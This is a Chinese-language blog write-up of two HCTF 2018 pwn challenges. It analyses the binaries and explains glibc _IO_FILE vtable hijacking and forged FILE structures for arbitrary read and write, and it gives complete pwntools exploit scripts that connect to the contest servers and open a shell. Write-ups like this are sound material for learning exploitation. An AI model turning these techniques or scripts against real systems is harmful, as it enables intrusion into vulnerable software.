骑麦兜看落日

[WriteUp]HCTF

字数统计: 1.3k阅读时长: 6 min
2018/10/27 Share

PWN


the end


题目信息

Description

where is the end?
nc 150.109.44.250 20002
nc 150.109.46.159 20002

URL

http://phx0fp4pe.bkt.clouddn.com/the_end_890eb79d67925bd059ffb9ba60697f4d19cc2bbd923f474b2a84daaa22e59068.zip


程序分析

1
2
3
4
5
6
7
8
$ file the_end 
the_end: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4a46a73f8c01b2498d7bbc69dfbf585ab84b5625, stripped
$ checksec the_end
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

解题过程

程序逻辑很简单,输出libc地址,可以向任意地址写入五个字节

做题的思路也很清晰,读取五个字节后会直接调用exit()函数退出,exit()函数会调用终止处理程序和用户空间的标准I/O清理程序,可以劫持_IO_FILE虚表进行利用

首先将虚表里的_IO_OVERFLOW修改为one_gadget,这一步用到3个字节,有几个one_gadget由于不满足条件不可以使用

然后将_IO_FILE_plus中的IO_jump_t指向我们伪造的虚表,虚表我选择了main_arena中最后一个字节和真正的IO_jump_t相同的位置,所以只需要修改一个字节

原本以为四个字节就可以实现了的,但是发现想要执行_IO_OVERFLOW还需要满足一定的条件

1
2
3
4
if ((
(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) ||
(_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))
&& _IO_OVERFLOW (fp, EOF) == EOF)

前一个条件fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base比较容易满足,fp->_mode本来就等于0,所以只需要使得fp->_IO_write_ptr > fp->_IO_write_base满足即可

还有一个问题是程序在一开始关闭了输出流和错误流,所以最后拿到shell的时候无法回显,需要将输出流重定向

1
exec 1>&0 && exec 2>&0

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = './the_end'
lib = 'libc64.so'
ip = '150.109.44.250'
port = 20002
elf = ELF(exe)
libc = elf.libc

#io = process(exe)#, env={"LD_PRELOAD":libc.path})
io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

io.recvuntil('Input your token:')
io.sendline('SC1FULx5sNVTXIO9cdsvXswW1Vs6778D')
io.recvuntil('0x')
sleep_addr = int(io.recv(12),16)
io.recvuntil(';)')

libc_addr = sleep_addr-0xcc230
IO_stdout_addr = libc_addr+0x3c5620
IO_write_addr = IO_stdout_addr+0x28
IO_vtable_addr = IO_stdout_addr+0xd8
arena_addr = libc_addr+0x3c4be0
one_gadget = libc_addr+0xf02a4

io.send(p64(arena_addr+0x18))
io.send(p8(one_gadget&0xff))
io.send(p64(arena_addr+0x19))
io.send(p8((one_gadget&0xffff)>>8))
io.send(p64(arena_addr+0x1a))
io.send(p8((one_gadget&0xffffff)>>16))

io.send(p64(IO_write_addr))
io.send('\x20')
io.send(p64(IO_vtable_addr+0x1))
io.send(p8((arena_addr&0xffff)>>8))

io.interactive()

相关资料


baby printf ver2


题目信息

Description

baby printf comes again :)
nc 150.109.44.250 20005
nc 150.109.46.159 20005

URL

http://phx0fp4pe.bkt.clouddn.com/babyprintf_ver2_99aaef89552b3713c7dc756f96475b9bdd6c6558f5ba44572bde923f33a30f23.zip


程序分析

1
2
3
4
5
6
7
8
9
$ file babyprintf_ver2 
babyprintf_ver2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fb30593381079dbed29611d4cc5f9c4597b208b8, stripped
$ checksec babyprintf_ver2
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

解题过程

程序的逻辑比较简单,首先泄露出了bss段地址,可以向bss段写东西,并且bss段存在_IO_FILE,明显可以构造一个_IO_FILE,利用printf_chk函数操作一下

首先尝试一下任意读

它的调用链为printf_chk->vprintf->_IO_new_file_xsputn->_IO_new_file_overflow->_IO_new_do_write->new_do_write->’_IO_new_file_write’->write

需要满足几个条件

1
_IO_stdfile_1_lock -> valid address

因为需要上锁操作,所以这里应该指向一个合法的地址,而且最好addr+8能指向0

1
_IO_file_flags & _IO_UNBUFFERED == 0

其中_IO_UNBUFFERED为2,如果不满足这个条件的话程序会提前返回

1
(f->_flags & _IO_CURRENTLY_PUTTING)

其中_IO_CURRENTLY_PUTTING为0x800,这里貌似不是必须的,不过可以避免不必要的麻烦

1
fp->_flags & _IO_IS_APPENDING

其中_IO_IS_APPENDING为0x1000,通用这个条件可以省去一些麻烦

最终会调用write函数,参数为write(f->_fileno,f->_IO_write_base,f->_IO_write_ptr-f->_IO_write_base)

任意写与任意读类似,调用链为printf_chk->vprintf->_IO_new_file_xsputn->__mempcpy

需要满足条件

1
2
3
4
_IO_stdfile_1_lock -> valid address
_IO_file_flags & _IO_UNBUFFERED == 0
(f->_flags & _IO_CURRENTLY_PUTTING)
f->_IO_write_end > f->_IO_write_ptr

做到了任意读和任意写之后我这里用最偷懒的方法读取栈地址然后覆盖返回地址


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = './babyprintf_ver2'
lib = 'libc64.so'
ip = '150.109.44.250'
port = 20005
elf = ELF(exe)
libc = ELF(lib)

io = process(exe, env={"LD_PRELOAD":libc.path})
#io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

#io.recvuntil('Input your token:')
#io.sendline('YxMdMkLzCF8um2gMppZgBLfsY1DqthcU')

io.recvuntil('0x')
code_addr = int(io.recv(12),16)-0x202010
bss_addr = code_addr + elf.bss()
fake_IO_addr = bss_addr + 0x8
io.recvuntil('Have fun!')

script = ''
script += 'directory ~/Desktop/glibc-2.27/debug/\n'
script += 'directory ~/Desktop/glibc-2.27/stdio-common\n'
script += 'directory ~/Desktop/glibc-2.27/libio/\n'
#script += 'b _IO_new_file_xsputn\n'#vfprintf\n'#_IO_new_file_xsputn\n'#_IO_new_file_overflow\n'
script += 'b *'+hex(code_addr)+'+0x921\n'
script += 'c\n'

gdb(script)

def leak(addr):
payload = ''
payload += 'A'*0x10
payload += p64(fake_IO_addr)
payload += p64(0xfbad1800)
payload += p64(0)*0x3
payload += p64(addr) # _IO_write_base
payload += p64(addr+0x8) # _IO_write_ptr
payload += p64(addr+0x8) # _IO_write_end
payload += p64(0)*0x7
payload += p64(1) # _fileno
payload += p64(0)*2
payload += p64(fake_IO_addr+0x90) # _IO_stdfile_1_lock
payload += p64(0)*20
io.sendline(payload)

io.recvuntil('rewrite vtable is not permitted!\n')
data = u64(io.recv(8))
return data

def write(data,addr):
payload = ''
payload += p64(data)
payload += p64(0)
payload += p64(fake_IO_addr)
payload += p64(0xfbad1800)
payload += p64(0)*0x3
payload += p64(addr) # _IO_write_base
payload += p64(addr) # _IO_write_ptr
payload += p64(addr+0x10) # _IO_write_end
payload += p64(0)*0x7
payload += p64(1) # _fileno
payload += p64(0)*2
payload += p64(fake_IO_addr+0x90) # _IO_stdfile_1_lock
payload += p64(0)

io.sendline(payload)

libc_addr = leak(fake_IO_addr+0xd8)-0x3e82a0
stack_addr = leak(libc_addr+libc.symbols['environ'])
one_gadget = libc_addr + 0x4f2c5
write(one_gadget,stack_addr-0x310)

io.interactive()
CATALOG
  1. 1. PWN
    1. 1.1. the end
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP
      5. 1.1.5. 相关资料
  2. 2. baby printf ver2
    1. 2.1. 题目信息
    2. 2.2. 程序分析
    3. 2.3. 解题过程
    4. 2.4. EXP